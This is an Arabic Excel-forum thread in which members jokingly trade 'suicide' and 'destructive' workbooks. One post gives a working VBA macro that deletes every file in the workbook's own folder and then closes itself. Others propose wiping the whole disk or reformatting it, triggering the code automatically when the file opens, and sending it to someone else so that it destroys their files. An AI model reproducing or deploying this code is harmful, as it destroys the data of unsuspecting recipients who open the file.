أبو إيمان

جزاكم الله خيرا جميعاً

المفات تدمر المنطقة الموجودة بها من ملفات اكسيل وغيرها أو تحذف ملفات في مجلد محدد أو تحذف مجلد محدد وليس كل ما هو موجود بالحاسوب تعرف أنه ملغم من خلال قرأة الكود فقط ومن أسئلة الأستاذ عمار نحتاج للتعاون في عمل الآتي 1- كود لحذف جميع الملفات بالحاسوب أي تدمير شامل بمعنى الكلمة وإن لم نستطع فملف يقوم بعمل إعادة تهيئة للهارد ديسك 2- كاشف المتفجرات أي كود أو ملف يكشف لي هل الملف المرسل لي انتحار أو تدميري أم لا

بعد إذن الأستاذ مختار نأمل من إدارة الموقع حذف الموضوع حيث أنه مكرر في الرابط التالي http://www.officena.net/ib/index.php?showtopic=60054 ونأمل تغيير الاسم الخاص بالموضوع

الملفات الموجودة تقوم على اساس تفجير المكان الذي فيها انت ابعت له الملف ومجرد ما يضغط على الزر يحذف له كل اللي عنده أو ممكن من غير ما يضغط على الزر وتضع استدعاء الكود في حدث الملف أي بمجرد فتح الملف عملية التدمير هتم بس بلاش الأذية

جزاكم الله خيرا

جزاكم الله خيرا

مرحبا بك في قسم الاكسيل

أخي مختار انت كدا حرقت المفاجئة أنا عملت الكود الانتحاري اللي بيدمر نفسه وسط مجموعة وكن المفروض ننتظر الناس تجرب الكود وبعدين نعمل الشغل اللي من على بعد لكن ولا يهمك الناس يجربوا الاتنين بس الناس تحذر من الدمار اللي بيحصل وجزاكم الله خيرا أستاذنا ياسر جزاكم الله خيرا جاري التجربة بعد 3 او 4 ساعات من الان إن شاء الله تحذير نحذر من انتقال الخبرللهئةية الدولية النووية وهيئة المتفجرات

تسلم يداك جاري التجربة

بعد إذن الاستاذ ياسر أقدم لكم الملف الانتحاري حيث يقوم الملف بعمل عملية انتحارية حيث يدمر من حوله ويقتل نفسه Option Explicit Sub DeleteAllFilesInAFolder() Dim MyFolder, FSO, FLDR, FileName MyFolder = ThisWorkbook.Path Set FSO = CreateObject("Scripting.FileSystemObject") Set FLDR = FSO.GetFolder(MyFolder) With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly For Each FileName In FLDR.Files FileName.Delete True Next .Close False End With End Sub جميع التعديلات مأخذة من أعمال الاستاذ ياسر

جزاكم الله خيرا أستاذ ياسر وأمس كنت أحاول في هذا الموضوع وتعبني جدا وانت كدا حلت لنا الموضوع ومن ضمن الأفكار اللي كنت بحاول فيها والآن أنا منتظر تفجئنا بيها هو ان الملف يحذف كامل المجلد يعني بنسف المنطقة مش يقتل جماعي فقط

جزاكم الله خيرا أستاذ / ياسر خليل الرجل حبيبنا من غير حاجة مش لازم مصلحة علشان يكون حبيبك لكن أستاذ / مختار محتاجين شرح الكود بالعربي ( علشان تبقى حبيبي أنا كمان " ههههه " )

السلام عليكم ورحمة الله وبركاته أخي الفاضل مرحبا بك معنا في هذا الصرح التعليمي الكبير ويسعدني أن أكون أول من يرحب بك إليك الرابطين التاليين قد تستفيد منهما إن شاء الله http://www.officena.net/ib/index.php?showtopic=59874&hl= http://www.officena.net/ib/index.php?showtopic=58863&hl=

أ / محمد الريفي جزاكم الله خيرا ونأمل من إدارة المنتدى وضع اسم مناسب للعنوان

مرحبا بك / بكي معنا ونأمل ارفاق ملف لتوضيح المطلوب

اسلوب جديد دا للتعليم يا أستاذ ياسر ولا إيه؟

لحين ارفاق ملف وابعد اذن الاستاد ياسر يمكن الاطلاع على الروابط التالية http://www.officena.net/ib/index.php?showtopic=54449&hl=%D8%A7%D9%84%D8%A7%D9%82%D8%A7%D9%85%D8%A9 http://www.officena.net/ib/index.php?showtopic=53881&hl=%D8%A7%D9%84%D8%A7%D9%82%D8%A7%D9%85%D8%A9#entry339531

جزاكم الله خيرا وبعدين هذه نقطة في بحر بالنسبة لأعمالك أنت والاساتذة الافاضل

بعد إذن الأستاذ ياسر وعلشان الناس متلفش ولا تدور يمكنك كتابة اسم الملف المراد قتله داخل خلية أو داخل مربع ادخال Killer.rar

أستاذنا : ابداعات واقي ضدد الرصاص دي بتاعت العباقرة إحنا لسة في بداية السلم

تم تجربة الملف وشكرا على الاستجابة السريعة من حضرتك جاري توظيفه في كود أخر هيعجبكم إن شاء الله

يعني لازم نثيرك يا أستاذ ياسر علشان تطلع الحاجات الحلوة دي شكلنا كدا هنستغلك في حاجات كتيرررررررررر جاري تجربة القاتل خلي بالك لو اتمسك القاتل هيكون هيحكم عليه بالقصاص لان القتل عمدا مع سابق الاصرار بس لو اتمسكتوا أنا مقلتش حاجة واوعى تبلغ عني

عن أي ملف تتحدث

بعد إذن الاستاذ ياسر افتح الباب واذخل اتعلم http://www.officena.net/ib/index.php?showtopic=57094 http://www.officena.net/ib/index.php?showtopic=56000

أوفيس 2010 ولم يفتح عندي أيضا